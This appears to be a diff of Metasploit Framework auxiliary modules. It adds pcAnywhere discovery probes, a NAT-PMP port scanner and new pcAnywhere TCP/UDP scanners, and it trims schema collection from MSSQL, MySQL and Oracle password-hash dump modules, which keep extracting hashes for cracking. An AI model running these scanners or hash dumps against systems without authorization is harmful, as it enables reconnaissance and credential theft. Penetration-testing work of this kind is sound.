@ -146,6 +228,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
ver = pkt[0].unpack('H*')[0] if not ver
|
||||
inf = ver if ver
|
||||
@results[hkey] = true
|
||||
|
||||
when 137
|
||||
app = 'NetBIOS'
|
||||
|
@ -190,6 +273,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
hname = names[0][0]
|
||||
end
|
||||
end
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 111
|
||||
app = 'Portmap'
|
||||
|
@ -209,6 +294,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
inf = svc.join(", ")
|
||||
@results[hkey] = true
|
||||
|
||||
when 123
|
||||
app = 'NTP'
|
||||
|
@ -219,12 +305,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
|
||||
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
|
||||
inf = ver if ver
|
||||
@results[hkey] = true
|
||||
|
||||
when 1434
|
||||
app = 'MSSQL'
|
||||
mssql_ping_parse(pkt[0]).each_pair { |k,v|
|
||||
inf += k+'='+v+' '
|
||||
}
|
||||
@results[hkey] = true
|
||||
|
||||
when 161
|
||||
app = 'SNMP'
|
||||
|
@ -243,20 +331,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
inf = snmp_info
|
||||
com = snmp_comm
|
||||
@results[hkey] = true
|
||||
|
||||
when 5093
|
||||
app = 'Sentinel'
|
||||
@results[hkey] = true
|
||||
|
||||
when 523
|
||||
app = 'ibm-db2'
|
||||
inf = db2disco_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
when 1604
|
||||
app = 'citrix-ica'
|
||||
return unless citrix_parse(pkt[0])
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
end
|
||||
|
||||
return unless inside_workspace_boundary?(pkt[1])
|
||||
report_service(
|
||||
:host => pkt[1],
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
|
@ -419,6 +512,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return [data, 1604]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_st(ip)
|
||||
return ["ST", 5632]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_nq(ip)
|
||||
return ["NQ", 5632]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -52,7 +52,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@probes << 'probe_pkt_sentinel'
|
||||
@probes << 'probe_pkt_db2disco'
|
||||
@probes << 'probe_pkt_citrix'
|
||||
|
||||
@probes << 'probe_pkt_pca_st'
|
||||
@probes << 'probe_pkt_pca_nq'
|
||||
|
||||
end
|
||||
|
||||
def setup
|
||||
|
@ -71,7 +73,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Fingerprint a single host
|
||||
def run_batch(batch)
|
||||
|
||||
print_status("Sending #{@probes.length} probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
|
||||
begin
|
||||
|
@ -97,7 +98,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if (idx % 30 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
reply_addr = r[1].split(':').last
|
||||
parse_reply(r) if batch.include? reply_addr
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -109,7 +111,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
del = 10
|
||||
sts = Time.now.to_i
|
||||
while (r = udp_sock.recvfrom(65535, del) and r[1])
|
||||
parse_reply(r)
|
||||
reply_addr = r[1].split(':').last
|
||||
parse_reply(r) if batch.include? reply_addr
|
||||
|
||||
# Prevent an indefinite loop if the targets keep replying
|
||||
cnt += 1
|
||||
|
@ -126,13 +129,41 @@ class Metasploit3 < Msf::Auxiliary
|
|||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
reply_addr = r[1].split(':').last
|
||||
parse_reply(r) if batch.include? reply_addr
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
retry
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e}")
|
||||
end
|
||||
|
||||
@results.each_key do |k|
|
||||
next if not @results[k].respond_to?('keys')
|
||||
data = @results[k]
|
||||
|
||||
next unless inside_workspace_boundary?(data[:host])
|
||||
|
||||
conf = {
|
||||
:host => data[:host],
|
||||
:port => data[:port],
|
||||
:proto => 'udp',
|
||||
:name => data[:app],
|
||||
:info => data[:info]
|
||||
}
|
||||
|
||||
if data[:hname]
|
||||
conf[:host_name] = data[:hname].downcase
|
||||
end
|
||||
|
||||
if data[:mac]
|
||||
conf[:mac] = data[:mac].downcase
|
||||
end
|
||||
|
||||
report_service(conf)
|
||||
print_status("Discovered #{data[:app]} on #{k} (#{data[:info]})")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
@ -140,7 +171,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
# The response parsers
|
||||
#
|
||||
def parse_reply(pkt)
|
||||
|
||||
@results ||= {}
|
||||
|
||||
# Ignore "empty" packets
|
||||
|
@ -152,12 +182,67 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# Ignore duplicates
|
||||
hkey = "#{pkt[1]}:#{pkt[2]}"
|
||||
return if @results[hkey]
|
||||
|
||||
|
||||
app = 'unknown'
|
||||
inf = ''
|
||||
maddr = nil
|
||||
hname = nil
|
||||
|
||||
|
||||
# Work with protocols that return different data in different packets
|
||||
# These are reported at the end of the scanning loop to build state
|
||||
case pkt[2]
|
||||
when 5632
|
||||
|
||||
@results[hkey] ||= {}
|
||||
data = @results[hkey]
|
||||
|
||||
data[:app] = "pcAnywhere"
|
||||
data[:port] = pkt[2]
|
||||
data[:host] = pkt[1]
|
||||
|
||||
case pkt[0]
|
||||
|
||||
when /^NR(........................)(........)/
|
||||
name = $1.dup
|
||||
caps = $2.dup
|
||||
name = gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
caps = gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
data[:name] = name
|
||||
data[:caps] = caps
|
||||
|
||||
when /^ST(.+)/
|
||||
buff = $1.dup
|
||||
stat = 'Unknown'
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 67
|
||||
stat = "Available"
|
||||
end
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 11
|
||||
stat = "Busy"
|
||||
end
|
||||
|
||||
data[:stat] = stat
|
||||
end
|
||||
|
||||
if data[:name]
|
||||
inf << "Name: #{data[:name]} "
|
||||
end
|
||||
|
||||
if data[:stat]
|
||||
inf << "- #{data[:stat]} "
|
||||
end
|
||||
|
||||
if data[:caps]
|
||||
inf << "( #{data[:caps]} ) "
|
||||
end
|
||||
data[:info] = inf
|
||||
end
|
||||
|
||||
# Ignore duplicates
|
||||
return if @results[hkey]
|
||||
|
||||
case pkt[2]
|
||||
|
||||
|
@ -174,6 +259,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
ver = pkt[0].unpack('H*')[0] if not ver
|
||||
inf = ver if ver
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 137
|
||||
app = 'NetBIOS'
|
||||
|
@ -218,6 +305,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
hname = names[0][0]
|
||||
end
|
||||
end
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 111
|
||||
app = 'Portmap'
|
||||
|
@ -238,6 +327,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
end
|
||||
inf = svc.join(", ")
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 123
|
||||
app = 'NTP'
|
||||
|
@ -248,6 +339,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
ver = 'NTP v4 (unsynchronized)' if (ver =~ /^e40/)
|
||||
ver = 'Microsoft NTP' if (ver =~ /^dc00|^dc0f/)
|
||||
inf = ver if ver
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 1434
|
||||
app = 'MSSQL'
|
||||
|
@ -255,6 +348,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
inf += k+'='+v+' '
|
||||
}
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 161
|
||||
app = 'SNMP'
|
||||
asn = OpenSSL::ASN1.decode(pkt[0]) rescue nil
|
||||
|
@ -272,20 +367,25 @@ class Metasploit3 < Msf::Auxiliary
|
|||
inf = snmp_info
|
||||
com = snmp_comm
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 5093
|
||||
app = 'Sentinel'
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 523
|
||||
|
||||
app = 'ibm-db2'
|
||||
inf = db2disco_parse(pkt[0])
|
||||
|
||||
@results[hkey] = true
|
||||
|
||||
when 1604
|
||||
app = 'citrix-ica'
|
||||
return unless citrix_parse(pkt[0])
|
||||
@results[hkey] = true
|
||||
|
||||
end
|
||||
|
||||
return unless inside_workspace_boundary?(pkt[1])
|
||||
report_service(
|
||||
:host => pkt[1],
|
||||
:mac => (maddr and maddr != '00:00:00:00:00:00') ? maddr : nil,
|
||||
|
@ -298,7 +398,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
print_status("Discovered #{app} on #{pkt[1]}:#{pkt[2]} (#{inf})")
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -447,7 +546,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
"\x00\x00\x00\x00"
|
||||
return [data, 1604]
|
||||
end
|
||||
|
||||
|
||||
def probe_pkt_pca_st(ip)
|
||||
return ["ST", 5632]
|
||||
end
|
||||
|
||||
def probe_pkt_pca_nq(ip)
|
||||
return ["NQ", 5632]
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
begin
|
||||
fp = http_fingerprint
|
||||
print_status("#{ip} #{fp}") if fp
|
||||
print_status("#{ip}:#{rport} #{fp}") if fp
|
||||
rescue ::Timeout::Error, ::Errno::EPIPE
|
||||
end
|
||||
end
|
||||
|
|
|
@ -44,7 +44,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def support_ipv6?
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
def resolve(ip)
|
||||
results = ''
|
||||
apikey = datastore['HTTPBL_APIKEY']
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module also saves information about the server version and
|
||||
table names, which can be used to seed the wordlist.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
@ -48,60 +48,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
version = mssql_query(mssql_sql_info())[:rows][0][0]
|
||||
version_year = version.split('-')[0].slice(/\d\d\d\d/)
|
||||
|
||||
#Grab all the DB schema and save it as notes
|
||||
mssql_db_names = get_db_names()
|
||||
mssql_schema={}
|
||||
unless mssql_db_names.nil?
|
||||
mssql_db_names.each do |dbname|
|
||||
tmp_tblnames = get_tbl_names(dbname[0])
|
||||
unless tmp_tblnames.nil?
|
||||
mssql_schema[dbname]=[]
|
||||
tmp_tblnames.each{|tblname| mssql_schema[dbname] << tblname[0] unless tblname[0].nil?}
|
||||
end
|
||||
end
|
||||
end
|
||||
mssql_hashes = mssql_hashdump(version_year)
|
||||
report_other_data(mssql_schema,{'InstanceName' => instancename, 'Version' => version} ,version_year)
|
||||
unless mssql_hashes.nil?
|
||||
report_hashes(mssql_hashes,version_year)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def report_other_data(mssql_schema,instancename,version_year)
|
||||
|
||||
unless mssql_schema.nil?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "mssql.schema",
|
||||
:data => mssql_schema,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
unless instancename.nil?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "mssql.instancename",
|
||||
:data => instancename
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
unless version_year.nil?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "mssql.version_year",
|
||||
:data => version_year,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#Stores the grabbed hashes as loot for later cracking
|
||||
#The hash format is slightly different between 2k and 2k5/2k8
|
||||
|
@ -161,20 +114,6 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
#Gets all of the Databases on this Instance
|
||||
def get_db_names
|
||||
results = mssql_query(mssql_db_names())[:rows]
|
||||
return results
|
||||
end
|
||||
|
||||
#Gets all the table names for the given DB
|
||||
def get_tbl_names(db_name)
|
||||
results = mssql_query("SELECT name FROM #{db_name}..sysobjects WHERE xtype = 'U'")[:rows]
|
||||
return results
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -26,7 +26,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module extracts the usernames and encrypted password
|
||||
hashes from a MySQL server and stores them for later cracking.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
@ -69,21 +69,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
|
||||
|
||||
#Recursively grab the schema for the entire DB server
|
||||
mysql_schema={}
|
||||
res = mysql_query("show databases")
|
||||
if res.size > 0
|
||||
res.each do |row|
|
||||
next if row[0].nil?
|
||||
next if row[0].empty?
|
||||
next if row[0]== "information_schema"
|
||||
next if row[0]== "mysql"
|
||||
next if row[0]== "performance_schema"
|
||||
next if row[0]== "test"
|
||||
mysql_schema[row[0]]= get_tbl_names(row[0])
|
||||
end
|
||||
end
|
||||
report_other_data(mysql_schema)
|
||||
|
||||
end
|
||||
|
||||
#Stores the Hash Table as Loot for Later Cracking
|
||||
|
@ -95,37 +81,5 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
#Gets all of the Tables names inside the given Database
|
||||
def get_tbl_names(dbname)
|
||||
|
||||
tables=[]
|
||||
res = mysql_query("SHOW tables from #{dbname}")
|
||||
if res.size > 0
|
||||
res.each do |row|
|
||||
next if row[0].nil?
|
||||
next if row[0].empty?
|
||||
tables<<row[0]
|
||||
end
|
||||
end
|
||||
return tables
|
||||
|
||||
end
|
||||
|
||||
#Saves the Database Schema as Notes for later use.
|
||||
#Will be used for seeding wordlists when cracking
|
||||
def report_other_data(mysql_schema)
|
||||
|
||||
unless mysql_schema.nil?
|
||||
report_note(
|
||||
:host => rhost,
|
||||
:type => "mysql.schema",
|
||||
:data => mysql_schema,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,116 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/proto/natpmp'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'NAT-PMP External port scanner',
|
||||
'Description' => 'Scan NAT devices for their external listening ports using NAT-PMP',
|
||||
'Author' => 'Jon Hart <jhart[at]spoofed.org>',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
|
||||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]),
|
||||
OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]),
|
||||
Opt::CHOST
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(host)
|
||||
begin
|
||||
udp_sock = Rex::Socket::Udp.create(
|
||||
{ 'LocalHost' => datastore['CHOST'] || nil,
|
||||
'Context' => {'Msf' => framework, 'MsfExploit' => self} }
|
||||
)
|
||||
add_socket(udp_sock)
|
||||
print_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" if (datastore['VERBOSE'])
|
||||
|
||||
# first, send a request to get the external address
|
||||
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
|
||||
external_address = nil
|
||||
while (r = udp_sock.recvfrom(12, 0.25) and r[1])
|
||||
(ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
|
||||
end
|
||||
|
||||
if (external_address)
|
||||
print_good("External address of #{host} is #{external_address}")
|
||||
else
|
||||
print_error("Didn't get a response for #{host}'s external address")
|
||||
return
|
||||
end
|
||||
|
||||
Rex::Socket.portspec_crack(datastore['PORTS']).each do |port|
|
||||
# send one request to clear the mapping if *we've* created it before
|
||||
clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0)
|
||||
udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0)
|
||||
while (r = udp_sock.recvfrom(16, 0.25) and r[1])
|
||||
end
|
||||
|
||||
# now try the real mapping
|
||||
map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1)
|
||||
udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0)
|
||||
while (r = udp_sock.recvfrom(16, 0.25) and r[1])
|
||||
handle_reply(host, external_address, r)
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
|
||||
def handle_reply(host, external_addr, pkt)
|
||||
return if not pkt[1]
|
||||
|
||||
if(pkt[1] =~ /^::ffff:/)
|
||||
pkt[1] = pkt[1].sub(/^::ffff:/, '')
|
||||
end
|
||||
host = pkt[1]
|
||||
protocol = datastore['PROTOCOL'].to_s.downcase
|
||||
|
||||
(ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
|
||||
if (result == 0)
|
||||
# we always ask to map an external port to the same port on us. If
|
||||
# we get a successful reponse back but the port we requested be forwarded
|
||||
# is different, that means that someone else already has it open
|
||||
if (int != ext)
|
||||
state = Msf::ServiceState::Open
|
||||
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports")
|
||||
else
|
||||
state = Msf::ServiceState::Closed
|
||||
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
|
||||
end
|
||||
else
|
||||
state = Msf::ServiceState::Closed
|
||||
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
|
||||
end
|
||||
|
||||
report_service(
|
||||
:host => external_addr,
|
||||
:port => int,
|
||||
:proto => protocol,
|
||||
:state => state
|
||||
)
|
||||
|
||||
report_service(
|
||||
:host => host,
|
||||
:port => pkt[2],
|
||||
:name => 'natpmp',
|
||||
:proto => 'udp',
|
||||
:state => Msf::ServiceState::Open
|
||||
)
|
||||
end
|
||||
end
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
from Oracle given the proper Credentials and SID.
|
||||
These are then stored as loot for later cracking.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
end
|
||||
|
@ -99,32 +99,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
print_status("Hash table :\n #{tbl}")
|
||||
report_hashes(tbl.to_csv, is_11g, ip, this_service)
|
||||
|
||||
schema= get_schema()
|
||||
unless schema.nil? or schema.empty?
|
||||
report_other_data(schema,ip)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def get_schema
|
||||
#Grabs the Database and table names for storage
|
||||
#These names will be sued later to seed wordlists for cracking
|
||||
query= 'SELECT DISTINCT owner FROM all_tables'
|
||||
databases= prepare_exec(query)
|
||||
schema={}
|
||||
unless databases.empty?
|
||||
databases.each do |db|
|
||||
query= "SELECT table_name FROM all_tables where owner=\'#{db}\'"
|
||||
tables = prepare_exec(query)
|
||||
unless tables.empty?
|
||||
schema[db]= tables
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
return schema
|
||||
end
|
||||
|
||||
def report_hashes(hash_loot, is_11g, ip, service)
|
||||
#reports the hashes slightly differently depending on the version
|
||||
|
@ -140,20 +117,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def report_other_data(oracle_schema,ip)
|
||||
|
||||
unless oracle_schema.nil?
|
||||
report_note(
|
||||
:host => ip,
|
||||
:type => "oracle.schema",
|
||||
:data => oracle_schema,
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:update => :unique_data
|
||||
)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
|
|
@ -0,0 +1,66 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'pcAnywhere TCP Service Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Discover active pcAnywhere services through TCP',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5631)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
begin
|
||||
connect
|
||||
sock.put("\x00\x00\x00\x00")
|
||||
res = sock.get_once(-1, 15)
|
||||
if not (res and res.index("Please press <Enter>"))
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
=begin
|
||||
sock.put( "\x6f\x06\xfe" )
|
||||
res = sock.get_once(-1, 15)
|
||||
|
||||
sock.put("\x6f\x61\xff\x09\x00\x07\x00\x00\x01\xff\x00\x00\x07\x00")
|
||||
res = sock.get_once(-1, 15)
|
||||
|
||||
sock.put("\x6f\x62\x00\x02\x00\x00\x00")
|
||||
res = sock.get_once(-1, 15)
|
||||
print_status(Rex::Text.to_hex_dump(res))
|
||||
=end
|
||||
|
||||
report_service(:host => rhost, :port => rport, :name => "pcanywhere", :info => "")
|
||||
print_status("#{rhost}:#{rport} pcAnywhere")
|
||||
|
||||
rescue ::Rex::ConnectionError, ::EOFError
|
||||
rescue ::Exception => e
|
||||
print_error("#{rhost}:#{rport} Error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,174 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'pcAnywhere UDP Service Discovery',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Discover active pcAnywhere services through UDP',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://www.unixwiz.net/tools/pcascan.txt']
|
||||
]
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::CHOST,
|
||||
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
|
||||
Opt::RPORT(5632)
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Define our batch size
|
||||
def run_batch_size
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT'].to_i
|
||||
end
|
||||
|
||||
# Fingerprint a single host
|
||||
def run_batch(batch)
|
||||
|
||||
print_status("Sending pcAnywhere discovery requests to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
|
||||
|
||||
@results = {}
|
||||
begin
|
||||
udp_sock = nil
|
||||
idx = 0
|
||||
|
||||
# Create an unbound UDP socket if no CHOST is specified, otherwise
|
||||
# create a UDP socket bound to CHOST (in order to avail of pivoting)
|
||||
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
|
||||
add_socket(udp_sock)
|
||||
|
||||
batch.each do |ip|
|
||||
begin
|
||||
# Send network query
|
||||
udp_sock.sendto("NQ", ip, rport, 0)
|
||||
|
||||
# Send status query
|
||||
udp_sock.sendto("ST", ip, rport, 0)
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
|
||||
nil
|
||||
end
|
||||
|
||||
if (idx % 30 == 0)
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
end
|
||||
|
||||
idx += 1
|
||||
end
|
||||
|
||||
while (r = udp_sock.recvfrom(65535, 3) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
|
||||
rescue ::Interrupt
|
||||
raise $!
|
||||
rescue ::Errno::ENOBUFS
|
||||
print_status("Socket buffers are full, waiting for them to flush...")
|
||||
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
|
||||
parse_reply(r)
|
||||
end
|
||||
select(nil, nil, nil, 0.25)
|
||||
rescue ::Exception => e
|
||||
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
|
||||
end
|
||||
|
||||
@results.keys.each do |ip|
|
||||
next unless inside_workspace_boundary?(ip)
|
||||
data = @results[ip]
|
||||
|
||||
info = ""
|
||||
|
||||
if data[:name]
|
||||
info << "Name: #{data[:name]} "
|
||||
end
|
||||
|
||||
if data[:stat]
|
||||
info << "- #{data[:stat]} "
|
||||
end
|
||||
|
||||
if data[:caps]
|
||||
info << "( #{data[:caps]} ) "
|
||||
end
|
||||
|
||||
report_service(:host => ip, :port => rport, :proto => 'udp', :name => "pcanywhere", :info => info)
|
||||
report_note(:host => ip, :port => rport, :proto => 'udp', :name => "pcanywhere", :update => :unique, :ntype => "pcanywhere.status", :data => data )
|
||||
print_status("#{ip}:#{rport} #{info}")
|
||||
end
|
||||
end
|
||||
|
||||
def parse_reply(pkt)
|
||||
# Ignore "empty" packets
|
||||
return if not pkt[1]
|
||||
|
||||
addr = pkt[1]
|
||||
if(addr =~ /^::ffff:/)
|
||||
addr = addr.sub(/^::ffff:/, '')
|
||||
end
|
||||
|
||||
data = pkt[0]
|
||||
|
||||
case data
|
||||
when /^NR(........................)(........)/
|
||||
|
||||
name = $1.dup
|
||||
caps = $2.dup
|
||||
|
||||
name = gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
caps = gsub(/_+$/, '').gsub("\x00", '').strip
|
||||
|
||||
@results[addr] ||= {}
|
||||
@results[addr][:name] = name
|
||||
@results[addr][:caps] = caps
|
||||
|
||||
when /^ST(.+)/
|
||||
@results[addr] ||= {}
|
||||
buff = $1.dup
|
||||
stat = 'Unknown'
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 67
|
||||
stat = "Available"
|
||||
end
|
||||
|
||||
if buff[2,1].unpack("C")[0] == 11
|
||||
stat = "Busy"
|
||||
end
|
||||
|
||||
@results[addr][:stat] = stat
|
||||
else
|
||||
print_error("#{addr} Unknown: #{data.inspect}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -27,7 +27,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module extracts the usernames and encrypted password
|
||||
hashes from a Postgres server and stores them for later cracking.
|
||||
},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options([
|
||||
|
|
|
